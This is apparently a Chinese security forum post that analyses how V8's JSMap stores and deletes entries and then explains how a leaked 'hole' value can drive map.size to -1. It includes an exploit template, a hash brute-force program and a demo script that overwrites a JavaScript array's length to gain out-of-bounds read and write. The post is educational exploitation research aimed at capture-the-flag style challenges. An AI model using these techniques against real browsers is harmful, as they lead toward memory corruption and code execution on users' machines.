-
-
[原创] V8 hole 类型漏洞利用总结
-
2024-2-1 17:45
-
@
前言
笔者刚入门 v8 利用不久，以下内容可能存在错误，如发现相关错误，希望各位大佬雅正，谢谢。
JSMap
基本概念
参考文章 [V8 Deep Dives] Understanding Map Internals
下面概念性的内容基本上就是对该参考文章的翻译或总结，建议看原文章
V8 中的 Map 是在哈希表的基础上构建出来的，但是不等同于哈希表，因为哈希表是不提供插入元素的顺序保证的，但是 ES 标准要求 Map 要记录元素的插入顺序。所以 Map 底层采用的是 deterministic hash tables，当然对于我们而言无需关心其具体是什么，类似哈希表就完了。 确定性哈希表采用的数据结构伪代码如下：
1 2 3 4 5 6 7 8 9 10 11 12 | interface Entry { key: any; value: any; chain: number;} interface CloseTable { hashTable: number[]; dataTable: Entry[]; nextSlot: number; size: number;} |
这里的 CloseTable 代码的就是代表的哈希表，其成员 hashTable 的大小代表 buckets 的数量，其第 i 个元素代表的就是第 i 个 buckets 头元素在 dataTable 中的 index：
其实这里把 hashTable 当作 bucket 使用数组，dataTable 当作 bucket 数组就好了，这样做的目的就是为了记录元素的插入顺序。
当删除元素时，这里仅仅就是将 key 和 value 设置为 undefined，所以这里被删除的元素仍然占据内存空间。
当然还有一个问题就是当 dataTable 满了，V8 是如何进行扩容的呢？这里引入 v8 中的实现规则：
dataTable.length = 2 * bucket = 2 * hashTable.length- 每次按照2的次幂进行扩容
这里的验证可以看参考文章，后面讲了 v8 中 Map 的内存模型了在简单验证验证。
V8 源码分析
在 v8 中，JSMap 的内存布局如下：
Map：就不多说了，就是每个对象都有的，表示对象的shapeFixedArray Length：整个OrderedHashMap的大小，其实就是一个FixedArrayelements：存在的entry的数量deleteds：被删除的entry的数量buckets：bucket的数量hashTable、dataTable就是上面介绍的两个表
考虑如下代码：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | var map = new Map();%DebugPrint(map);readline();map.set(1, 1);map.set(2, 1);map.set(3, 1);map.set(4, 1);%DebugPrint(map);readline();map.delete(3);%DebugPrint(map);readline();map.set(5, 1);%DebugPrint(map);readline(); |
可以看到这里的 OrderedHashMap：
初始时，buckets 的数量为 2：
可以看到这里 dataTable 的大小为 12（8字节为单位哈），而每个 entry 占 3，所以总的容量其实就是 4，其为 2 * buckets 是满足之前说的 dataTable.length = 2 * buckets = 2 * hashTable.length。
当添加四个元素时：
这里来看下 hashTable 和 dataTable，这里我直接画了一个图：
这里似乎与上面参考文章说的有点不同，这里采用的头插法？而且我也没看出来这里是咋记录插入顺序的，但是这里使用 for...of 循环确实是按照顺序打印的：
1 2 3 4 5 6 7 8 9 10 | ......for (let x of map) { print(x);}/*1,12,13,14,1*/ |
然后删除 (3, 1)：
可以看到这里的 elements = 3，而 deleteds = 1，这是符合逻辑的，并且 hashTable 并没有改变，仅仅将对应的 entry 的 key/value 设置成了 #hole：
然后再添加一个元素：
可以看到这里的 OrderedHashMap 已经发生了变换，即这里发生了扩容：
来看下 OrderedHashMap：
可以看到这里清除了 deleted entry：
set
map.set(key, value) 的作用就是给 map 添加元素（其实就是键值对，只是笔者习惯叫做元素，读者自己明白就好），其在 V8 层面的接口定义如下：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 | TF_BUILTIN(MapPrototypeSet, CollectionsBuiltinsAssembler) { Node* const receiver = Parameter(Descriptor::kReceiver); Node* key = Parameter(Descriptor::kKey); Node* const value = Parameter(Descriptor::kValue); Node* const context = Parameter(Descriptor::kContext); // 检查 receiver 是否是 JS_MAP 类型，如果不是则抛出异常 ThrowIfNotInstanceType(context, receiver, JS_MAP_TYPE, "Map.prototype.set"); // 规格化 key key = NormalizeNumberKey(key); // 获取 table 即 OrderedHashMap TNode<OrderedHashMap> const table = CAST(LoadObjectField(receiver, JSMap::kTableOffset)); VARIABLE(entry_start_position_or_hash, MachineType::PointerRepresentation(), IntPtrConstant(0)); Label entry_found(this), not_found(this); // 根据 key 找到对应的 entry 索引 index，即检查 key 是否已经存在 TryLookupOrderedHashTableIndex<OrderedHashMap>(table, key, context, &entry_start_position_or_hash, &entry_found, ¬_found); // 成功找到 entry，即 key 已经存在 BIND(&entry_found); // If we found the entry, we just store the value there. // 将数据存入 entry，这里是 key 已经存在，索引就直接跟新 value StoreFixedArrayElement(table, entry_start_position_or_hash.value(), value, UPDATE_WRITE_BARRIER, kPointerSize * (OrderedHashMap::kHashTableStartIndex + OrderedHashMap::kValueOffset)); Return(receiver); Label no_hash(this), add_entry(this), store_new_entry(this); // 没有找到的 entry，即 key 原先不存在，说人话就是第一次 set key（或是设置过但是已经 delete 了） BIND(¬_found); { // If we have a hash code, we can start adding the new entry. // 如果已经计算了 hash code，则添加一个新 entry GotoIf(IntPtrGreaterThan(entry_start_position_or_hash.value(), IntPtrConstant(0)), &add_entry); // Otherwise, go to runtime to compute the hash code. // 否则计算 hash code entry_start_position_or_hash.Bind(SmiUntag(CallGetOrCreateHashRaw(key))); Goto(&add_entry); } BIND(&add_entry); VARIABLE(number_of_buckets, MachineType::PointerRepresentation()); VARIABLE(occupancy, MachineType::PointerRepresentation()); TVARIABLE(OrderedHashMap, table_var, table); { // Check we have enough space for the entry. // 检查是否有足够的 entry 空间 // 获取 buckets 的数量 number_of_buckets.Bind(SmiUntag(CAST(LoadFixedArrayElement(table, OrderedHashMap::kNumberOfBucketsIndex)))); // 每次扩容或缩容都是按照2的次幂进行的 STATIC_ASSERT(OrderedHashMap::kLoadFactor == 2); // 容量 capacity = number_of_buckets << 1 = number_of_buckets * 2 Node* const capacity = WordShl(number_of_buckets.value(), 1); // 有效元素的数量 number_of_elements Node* const number_of_elements = SmiUntag(CAST(LoadObjectField( table, OrderedHashMap::kNumberOfElementsOffset))); // 被删除元素的数量 number_of_deleted Node* const number_of_deleted = SmiUntag(CAST(LoadObjectField( table, OrderedHashMap::kNumberOfDeletedElementsOffset))); // occupancy = number_of_elements + number_of_deleted 即已经被占据的 entry 空间 occupancy.Bind(IntPtrAdd(number_of_elements, number_of_deleted)); // 如果 occupancy < capacity，说明有空闲的 entry，因此 store_new_entry GotoIf(IntPtrLessThan(occupancy.value(), capacity), &store_new_entry); // We do not have enough space, grow the table and reload the relevant // fields. // 否则来到这里说明 occupancy >= capacity（应该是不存在大于的）则进行扩容 CallRuntime(Runtime::kMapGrow, context, receiver); // 扩容后，又来一次获取： // table、number_of_buckets、new_number_of_elements、new_number_of_deleted、occupancy table_var = CAST(LoadObjectField(receiver, JSMap::kTableOffset)); number_of_buckets.Bind(SmiUntag(CAST(LoadFixedArrayElement( table_var.value(), OrderedHashMap::kNumberOfBucketsIndex)))); Node* const new_number_of_elements = SmiUntag(CAST(LoadObjectField( table_var.value(), OrderedHashMap::kNumberOfElementsOffset))); Node* const new_number_of_deleted = SmiUntag(CAST(LoadObjectField( table_var.value(), OrderedHashMap::kNumberOfDeletedElementsOffset))); occupancy.Bind(IntPtrAdd(new_number_of_elements, new_number_of_deleted)); Goto(&store_new_entry); } BIND(&store_new_entry); // Store the key, value and connect the element to the bucket chain. // 看注释：存储 key、value 并且将其加入对应的 bucket 链表 StoreOrderedHashMapNewEntry(table_var.value(), key, value, entry_start_position_or_hash.value(), number_of_buckets.value(), occupancy.value()); Return(receiver);} |
set 的整个逻辑如下：
检查
key是否存在若
key存在，则直接更新value若
key不存在，则检查是否存在空闲entry- 若不存在空闲的
entry，则进行扩容，然后填充entry - 若存在空闲的
entry，则直接填充entry
- 若不存在空闲的
这里是用 TryLookupOrderedHashTableIndex 函数去寻找 key 对应的 entry 的，即判断 key 是否存在：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | template <typename CollectionType>void CollectionsBuiltinsAssembler::TryLookupOrderedHashTableIndex( Node* const table, Node* const key, Node* const context, Variable* result, Label* if_entry_found, Label* if_not_found) { Label if_key_smi(this), if_key_string(this), if_key_heap_number(this), if_key_bigint(this); GotoIf(TaggedIsSmi(key), &if_key_smi); Node* key_map = LoadMap(key); Node* key_instance_type = LoadMapInstanceType(key_map); GotoIf(IsStringInstanceType(key_instance_type), &if_key_string); GotoIf(IsHeapNumberMap(key_map), &if_key_heap_number); GotoIf(IsBigIntInstanceType(key_instance_type), &if_key_bigint); FindOrderedHashTableEntryForOtherKey<CollectionType>( context, table, key, result, if_entry_found, if_not_found); BIND(&if_key_smi); { FindOrderedHashTableEntryForSmiKey<CollectionType>( table, key, result, if_entry_found, if_not_found); } BIND(&if_key_string); { FindOrderedHashTableEntryForStringKey<CollectionType>( context, table, key, result, if_entry_found, if_not_found); } BIND(&if_key_heap_number); { FindOrderedHashTableEntryForHeapNumberKey<CollectionType>( context, table, key, result, if_entry_found, if_not_found); } BIND(&if_key_bigint); { FindOrderedHashTableEntryForBigIntKey<CollectionType>( context, table, key, result, if_entry_found, if_not_found); }} |
可以看到对于不同类型的 key，有着不同的寻找方式，这里以 Smi 类型的 key 为例，对于 Smi 类型的 key 寻找其 entry 利用的函数是 FindOrderedHashTableEntryForSmiKey：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | template <typename CollectionType>void CollectionsBuiltinsAssembler::FindOrderedHashTableEntryForSmiKey( Node* table, Node* smi_key, Variable* result, Label* entry_found, Label* not_found) { Node* const key_untagged = SmiUntag(smi_key); Node* const hash = ChangeInt32ToIntPtr(ComputeIntegerHash(key_untagged, Int32Constant(0))); CSA_ASSERT(this, IntPtrGreaterThanOrEqual(hash, IntPtrConstant(0))); result->Bind(hash); FindOrderedHashTableEntry<CollectionType>( table, hash, [&](Node* other_key, Label* if_same, Label* if_not_same) { SameValueZeroSmi(smi_key, other_key, if_same, if_not_same); }, result, entry_found, not_found);} |
该函数比较简单，就是先利用 ComputeIntegerHash 计算出 key 的哈希值，然后再用 FindOrderedHashTableEntry 进行查找，ComputeIntegerHash 函数如下：
1 2 3 4 5 6 7 8 9 10 11 | inline uint32_t ComputeIntegerHash(uint32_t key, uint64_t seed) { uint32_t hash = key; hash = hash ^ static_cast<uint32_t>(seed); hash = ~hash + (hash << 15); // hash = (hash << 15) - hash - 1; hash = hash ^ (hash >> 12); hash = hash + (hash << 2); hash = hash ^ (hash >> 4); hash = hash * 2057; // hash = (hash + (hash << 3)) + (hash << 11); hash = hash ^ (hash >> 16); return hash & 0x3fffffff;} |
重点还是在 FindOrderedHashTableEntry 上：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 | template <typename CollectionType>void CodeStubAssembler::FindOrderedHashTableEntry( Node* table, Node* hash, std::function<void(Node*, Label*, Label*)> key_compare, Variable* entry_start_position, Label* entry_found, Label* not_found) { // Get the index of the bucket. // 获取 bucket 的数量 number_of_buckets Node* const number_of_buckets = SmiUntag(CAST(LoadFixedArrayElement( CAST(table), CollectionType::kNumberOfBucketsIndex))); // 获取 key 对于 bucket 的编号：bucket = hash[key] & (number_of_buckets - 1) Node* const bucket = WordAnd(hash, IntPtrSub(number_of_buckets, IntPtrConstant(1))); // 获取 first_entry = hastTable[bucket] Node* const first_entry = SmiUntag(CAST(LoadFixedArrayElement( CAST(table), bucket, CollectionType::kHashTableStartIndex * kPointerSize))); // Walk the bucket chain. // 遍历 bucket 单链表，first_entry 就是链表头 Node* entry_start; Label if_key_found(this); { VARIABLE(var_entry, MachineType::PointerRepresentation(), first_entry); Label loop(this, {&var_entry, entry_start_position}), continue_next_entry(this); Goto(&loop); BIND(&loop); // If the entry index is the not-found sentinel, we are done. // 如果 var_entry = CollectionType::kNotFound，则没找到对应的 entry // 这里我没有找到 CollectionType::kNotFound 的定义，我猜测是 -1 // 因为 entry 的 chain 域尾巴是 -1，hashTable 不存在时也是 -1 GotoIf( WordEqual(var_entry.value(), IntPtrConstant(CollectionType::kNotFound)), not_found); // Make sure the entry index is within range. // 检查 entry index 的范围，防止越界 CSA_ASSERT( this, UintPtrLessThan( var_entry.value(), SmiUntag(SmiAdd( CAST(LoadFixedArrayElement( CAST(table), CollectionType::kNumberOfElementsIndex)), CAST(LoadFixedArrayElement( CAST(table), CollectionType::kNumberOfDeletedElementsIndex)))))); // Compute the index of the entry relative to kHashTableStartIndex. // 计算 entry_index 相对于 HashTableStartIndex 的偏移 // entry_start = var_entry * 3 + number_of_buckets // 其实就是相对 hashTable 的偏移 entry_start = IntPtrAdd(IntPtrMul(var_entry.value(), IntPtrConstant(CollectionType::kEntrySize)), number_of_buckets); // Load the key from the entry. // 从 entry 中加载 key = candidate_key Node* const candidate_key = LoadFixedArrayElement( CAST(table), entry_start, CollectionType::kHashTableStartIndex * kPointerSize); // 这里没有找到 key_compare 的定义 // 根据名字猜测功能为：比较 candidate_key 和传入的 key，若相同则跳转到 if_key_found // 否则继续验证下一个 entry，即跳转到 continue_next_entry key_compare(candidate_key, &if_key_found, &continue_next_entry); BIND(&continue_next_entry); // Load the index of the next entry in the bucket chain. // 加载下一个 entry 的 index，然后继续循环 var_entry.Bind(SmiUntag(CAST(LoadFixedArrayElement( CAST(table), entry_start, (CollectionType::kHashTableStartIndex + CollectionType::kChainOffset) * kPointerSize)))); Goto(&loop); } BIND(&if_key_found); entry_start_position->Bind(entry_start); Goto(entry_found);} |
整个逻辑我都注释清楚了，就不多说了，值得注意的是这里遍历 bucket 链表时存在范围检查。
后面 StoreFixedArrayElement 函数我没有找到其定义，就分析下 StoreOrderedHashMapNewEntry 函数，其实都比较比较简单，值得注意的是这里写入的 entry 是根据 hashTable 的偏移计算得到的：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | void CollectionsBuiltinsAssembler::StoreOrderedHashMapNewEntry( TNode<OrderedHashMap> const table, Node* const key, Node* const value, Node* const hash, Node* const number_of_buckets, Node* const occupancy) { // 获取对应的 bucket index：bucket = hash[key] & (number_of_buckets-1) Node* const bucket = WordAnd(hash, IntPtrSub(number_of_buckets, IntPtrConstant(1))); // 获取 bucket 链表头 bucket_entry Node* const bucket_entry = LoadFixedArrayElement(table, bucket, OrderedHashMap::kHashTableStartIndex * kPointerSize); // Store the entry elements. // entry_start = occupancy * 3 + number_of_buckets // entry_start 就是新的 entry 相对于 hashTable 的偏移，这个应该可以想清楚吧 Node* const entry_start = IntPtrAdd( IntPtrMul(occupancy, IntPtrConstant(OrderedHashMap::kEntrySize)), number_of_buckets); // 存储 key StoreFixedArrayElement(table, entry_start, key, UPDATE_WRITE_BARRIER, kPointerSize * OrderedHashMap::kHashTableStartIndex); // 存储 value StoreFixedArrayElement(table, entry_start, value, UPDATE_WRITE_BARRIER, kPointerSize * (OrderedHashMap::kHashTableStartIndex + OrderedHashMap::kValueOffset)); // 存储 bucket_entry，这里采用的头插法 StoreFixedArrayElement(table, entry_start, bucket_entry, SKIP_WRITE_BARRIER, kPointerSize * (OrderedHashMap::kHashTableStartIndex + OrderedHashMap::kChainOffset)); // Update the bucket head. // 采用的头插法，所以更新 bucket 头为新的 entry StoreFixedArrayElement(table, bucket, SmiTag(occupancy), SKIP_WRITE_BARRIER, OrderedHashMap::kHashTableStartIndex * kPointerSize); // Bump the elements count. // 跟新 elements 字段，就是将其加 1 TNode<Smi> const number_of_elements = CAST(LoadObjectField(table, OrderedHashMap::kNumberOfElementsOffset)); StoreObjectFieldNoWriteBarrier(table, OrderedHashMap::kNumberOfElementsOffset, SmiAdd(number_of_elements, SmiConstant(1)));} |
delete
map.delete(key) 的作用就是删除对应元素，其在 V8 层的接口函数如下：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 | TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) { Node* const receiver = Parameter(Descriptor::kReceiver); Node* key = Parameter(Descriptor::kKey); Node* const context = Parameter(Descriptor::kContext); // 检查 receiver 的类型是否为 JS_MAP_TYPE ThrowIfNotInstanceType(context, receiver, JS_MAP_TYPE, "Map.prototype.delete"); // 获取 table TNode<OrderedHashMap> const table = CAST(LoadObjectField(receiver, JSMap::kTableOffset)); VARIABLE(entry_start_position_or_hash, MachineType::PointerRepresentation(), IntPtrConstant(0)); Label entry_found(this), not_found(this); // 寻找 key 对应的 entry TryLookupOrderedHashTableIndex<OrderedHashMap>(table, key, context, &entry_start_position_or_hash, &entry_found, ¬_found); // 没找到返回 false BIND(¬_found); Return(FalseConstant()); BIND(&entry_found); // If we found the entry, mark the entry as deleted. // 找到了，则标记该 entry 已经被删除 // 修改 key 为 TheHoleConstant StoreFixedArrayElement(table, entry_start_position_or_hash.value(), TheHoleConstant(), UPDATE_WRITE_BARRIER, kPointerSize * OrderedHashMap::kHashTableStartIndex); // 修改 value 为 TheHoleConstant StoreFixedArrayElement(table, entry_start_position_or_hash.value(), TheHoleConstant(), UPDATE_WRITE_BARRIER, kPointerSize * (OrderedHashMap::kHashTableStartIndex + OrderedHashMap::kValueOffset)); // Decrement the number of elements, increment the number of deleted elements. // elements 减 1 TNode<Smi> const number_of_elements = SmiSub(CAST(LoadObjectField( table, OrderedHashMap::kNumberOfElementsOffset)), SmiConstant(1)); StoreObjectFieldNoWriteBarrier(table, OrderedHashMap::kNumberOfElementsOffset, number_of_elements); // deleted 加 1 TNode<Smi> const number_of_deleted = SmiAdd(CAST(LoadObjectField( table, OrderedHashMap::kNumberOfDeletedElementsOffset)), SmiConstant(1)); StoreObjectFieldNoWriteBarrier(table, OrderedHashMap::kNumberOfDeletedElementsOffset, number_of_deleted); // 获取 bucket 的数量 number_of_buckets TNode<Smi> const number_of_buckets = CAST(LoadFixedArrayElement(table, OrderedHashMap::kNumberOfBucketsIndex)); // If there fewer elements than #buckets / 2, shrink the table. Label shrink(this); // 如果 number_of_elements + number_of_elements < number_of_buckets，则进行缩减 shrink // 即：elements < buckets / 2 时就进行 shrink GotoIf(SmiLessThan(SmiAdd(number_of_elements, number_of_elements), number_of_buckets), &shrink); // 返回 true Return(TrueConstant()); BIND(&shrink); // 进行 shrink CallRuntime(Runtime::kMapShrink, context, receiver); Return(TrueConstant());} |
逻辑比较清楚了，看注释吧，这里来看下 Runtime::kMapShrink 函数：
1 2 3 4 5 6 7 8 9 | RUNTIME_FUNCTION(Runtime_MapShrink) { HandleScope scope(isolate); DCHECK_EQ(1, args.length()); CONVERT_ARG_HANDLE_CHECKED(JSMap, holder, 0); Handle<OrderedHashMap> table(OrderedHashMap::cast(holder->table()), isolate); table = OrderedHashMap::Shrink(isolate, table); holder->set_table(*table); return ReadOnlyRoots(isolate).undefined_value();} |
其主要就是调用的 OrderedHashMap::Shrink 函数：
1 2 3 4 5 6 7 8 9 10 11 12 13 | template <class Derived, int entrysize>Handle<Derived> OrderedHashTable<Derived, entrysize>::Shrink( Isolate* isolate, Handle<Derived> table) { DCHECK(!table->IsObsolete()); // 原 table 中 Elements 的数量 nof int nof = table->NumberOfElements(); // 原 table 的容量 capacity int capacity = table->Capacity(); // 如果 nof >= capacity / 4 = buckets / 2，则直接返回 table if (nof >= (capacity >> 2)) return table; // 否则调用 Rehash 进行 shrink，这里新的容量为 capacity / 2 return Rehash(isolate, table, capacity / 2);} |
话不多说，跟进 Rehash 函数：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 | template <class Derived, int entrysize>Handle<Derived> OrderedHashTable<Derived, entrysize>::Rehash( Isolate* isolate, Handle<Derived> table, int new_capacity) { DCHECK(!table->IsObsolete()); // 根据 new_capacity 分配一个 new_table Handle<Derived> new_table = Allocate( isolate, new_capacity, Heap::InNewSpace(*table) ? NOT_TENURED : TENURED); // 获取 old_table 的 Elements 的数量 nof int nof = table->NumberOfElements(); // 获取 old_table 的 Deleted 的数量 nod int nod = table->NumberOfDeletedElements(); // 获取 new_table 的 bucket 数量 new_buckets int new_buckets = new_table->NumberOfBuckets(); int new_entry = 0; // 这里会将所有的 hole 删除，即删除被标记为被删除的元素 int removed_holes_index = 0; DisallowHeapAllocation no_gc; // 遍历 old_table 的 old_entry for (int old_entry = 0; old_entry < (nof + nod); ++old_entry) { // 获取 key Object* key = table->KeyAt(old_entry); // 如果 key 是 hole，则删除 hole entry（这里就这样叫了，其实就是被标记为被删除的元素） if (key->IsTheHole(isolate)) { table->SetRemovedIndexAt(removed_holes_index++, old_entry); continue; } // 否则将其填充到 new_table 中 // 获取 hash Object* hash = key->GetHash(); // 获取对应的 bucket = hash & (new_buckets - 1) int bucket = Smi::ToInt(hash) & (new_buckets - 1); // 获取 bucket 的链表头 chain_entry Object* chain_entry = new_table->get(kHashTableStartIndex + bucket); new_table->set(kHashTableStartIndex + bucket, Smi::FromInt(new_entry)); int new_index = new_table->EntryToIndex(new_entry); int old_index = table->EntryToIndex(old_entry); // 依次填充 key、value、chain for (int i = 0; i < entrysize; ++i) { Object* value = table->get(old_index + i); new_table->set(new_index + i, value); } new_table->set(new_index + kChainOffset, chain_entry); ++new_entry; } DCHECK_EQ(nod, removed_holes_index); new_table->SetNumberOfElements(nof); table->SetNextTable(*new_table); return new_table;} |
利用原理
前面对 JSMap 分析了那么多，哪么 hole 泄漏如何利用 JSMap 进行攻击呢？
Hole 是 JS 内部的一种数据类型，用来标记不存在的元素，这个数据类型通常是不能泄露到用户 JS 层面。Hole 类型的漏洞利用是指由于内部数据结构 Hole 通过漏洞被暴露至 用户 JS 层，因此可以根据 Hole 创建⼀个长度为 -1 的 JSMap 结构，导致越界读写，从而实现 RCE。
根据前面的分析，我们知道当使用 map.delete 删除一个元素时，只是将该元素的 key、value 设置为 hole，并没有实际的删除该元素，实际上只是做了个标记，当进行 shrink 操作时，这些被 hole 标记的元素才会被真正的删除。那么如果我们可以创建 key = hole 的元素，那么我们就可以多次删除元素从而导致 map.size = -1（当然这里前提是不进行 shrink 操作，因为 shrink 操作会清除 hole 元素）。考虑如下代码：
1 2 3 4 5 6 7 8 9 10 | var map = new Map();let hole = %TheHole();map.set(1, 1);map.set(hole, 1);map.delete(hole);map.delete(hole);map.delete(1);console.log(map.size);// 输出：// -1 |
可以看到这里的 elements = -1、deleted = 0、buckets = 2：
当然这里的触发代码为啥这样写呢？为啥要 map.set(1, 1) 呢？直接 map.set(hole, 1)，然后再 delete 两次不行吗？其实这里就是涉及到 shrink 操作会清除 hole 元素，比如考虑如下代码：
1 2 3 4 5 6 7 8 | var map = new Map();let hole = %TheHole();map.set(hole, 1);map.delete(hole);map.delete(hole);console.log(map.size);// 输出：// 0 |
map.set(hole, 1) 后：
可以看到这里的：elements = 1、deleted = 0、buckets = 2
第一次 map.delete(hole) 后：
第一次 map.delete(hole) 后，elements = 0、deleted = 1、buckets = 2，由于 elements < buckets / 2，所以第一次 delete 后会发生 shrink、从而导致 hole 元素被删除，因此第二次 map.delete(hole) 时直接返回 false（这里不理解的看上面 delete 操作的源码分析）
Ok，现在已经成功构造了 map.size = -1 了，哪么接下来该如何去进行 OOB 呢？先来看看如果现在我们继续向 map 中添加元素，这时会发生什么呢？
在之前的 set 操作的源码分析中，我们知道当添加一个新的元素时（即 key 事先不存在）new entry 的寻找方式为：&hashTable + buckets + occupancy * 3，这里的 occupancy = elements + deleted
而在构造好 map.size = -1 后，其相关字段的值为： elements = -1、deleted = 0、buckets = 2
所以 new_entry = &hashTable + 2 + (-1 + 0) * 3 = &hashTable - 1 = hashTable[-1] = &buckets
所以 new_entry = key|value|chain = buckets|hashTbale[0]|hashTable[1]，即下一次添加新元素时，就可以修改 buckets = key1、hashTable[0] = value1
然后我们再添加新元素，此时：new_entry = &hashTable + buckets + (0 + 0) * 3 = hashTable[key1]，而 key1 我们是可以控制的，所以 new_entry 也是可控的，从而导致越界写 key/value，这里一般就是去写 JSArray 的 length 字段。
但是需要注意的是，在之前分析 set 操作源码时，我们知道当对 bucket 链表进行遍历时会存在检查，所以我们得让 bucket[hash(key) & (buckets - 1)] = -1 从而避免遍历 bucket 链表。在构造好 map.size = -1 后，第一次添加新元素是无所谓的，因为此时 bucket[0] = -1、bucket[1] = -1，但是第二次就得注意了，第一次添加时会导致 bucket[0] != -1 或者 bucket[1] != -1，但是其实 bucket[0] = value1，所以可以让 bucket[0] = value1 = -1，这样在第二次添加时我们只需要让：hash(key2) & (buckets - 1) = 0 即可，这里到时候爆破一下就 ok 了。
模板如下：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | var map = new Map();var hole = leak_hole();map.set(1, 1);map.set(hole, 1);map.delete(hole);map.delete(hole);map.delete(1);map.set(oob_write_offset, -1);var oob_array = [1.1];var obj_arr = [{}];var float_arr = [1.1];var rw_arr = [1.1];map.set(key2, value2);// 其中 hashTable[oob_write_offset + 3] = 预被修改的地址// hashTable[oob_write_offset + 3] = key2// 也可以用 value2 去控制，这里随意// 但是打 JSArray 的 length 字段时，还是用 key2 去写 length// 因为如果用 value2 去写 length 的话，elements 会被 key2 覆盖 |
key2 爆破脚本，这里的 ComputeUnseededHash 函数以实际的 V8 源码为准：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | #include <bits/stdc++.h>uint32_t ComputeUnseededHash(uint32_t key) { uint32_t hash = key; hash = ~hash + (hash << 15); hash = hash ^ (hash >> 12); hash = hash + (hash << 2); hash = hash ^ (hash >> 4); hash = hash * 2057; hash = hash ^ (hash >> 16); return hash & 0x3fffffff;}int main() { uint32_t key = 0x2000, buckets = 0x25; while ((ComputeUnseededHash(key) & (buckets - 1)) != 0) { key++; } printf("%#x\n", key); return 0;} |
相关例题
题目其实没啥好说的，关键就是利用漏洞把 hole 泄漏出来，后面基本都是一样的。所以这里直接用 %TheHole() 来获取 hole，以此来演示利用手法：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | const {log} = console;var raw_buf = new ArrayBuffer(8);var d_buf = new Float64Array(raw_buf);var l_buf = new BigInt64Array(raw_buf);let d2l = (v) => { d_buf[0] = v; return l_buf[0];};let l2d = (v) => { l_buf[0] = v; return d_buf[0];};let hexx = (str, v) => { log("\033[32m"+str+": \033[0m0x"+v.toString(16));}let decc = (str, v) => { log("\033[32m"+str+": \033[0m"+v);}var map = new Map();const hole = %TheHole();map.set(1, 1);map.set(hole, 1);map.delete(hole);map.delete(hole);map.delete(1);decc("map.size", map.size);map.set(37, -1);var oob_arr = [1.1];var tmp_arr = [2.2];var rw_arr = [3.3];var obj_arr = [0xeada, rw_arr];hexx("oob_arr.length", oob_arr.length);map.set(0x2002, 0);hexx("oob_arr.length", oob_arr.length); |
效果如下：
可以看到这里的 oob_arr.length 成功被修改为 0x2002 导致越界读写。然后就是基本的 OOB 类型漏洞利用了，就没啥好说的了。
[培训]《安卓高级研修班(网课)》月薪三万计划，掌握调试、分析还原ollvm、vmp的方法，定制art虚拟机自动化脱壳的方法
最后于 2024-3-1 14:16
被XiaozaYa编辑
，原因：
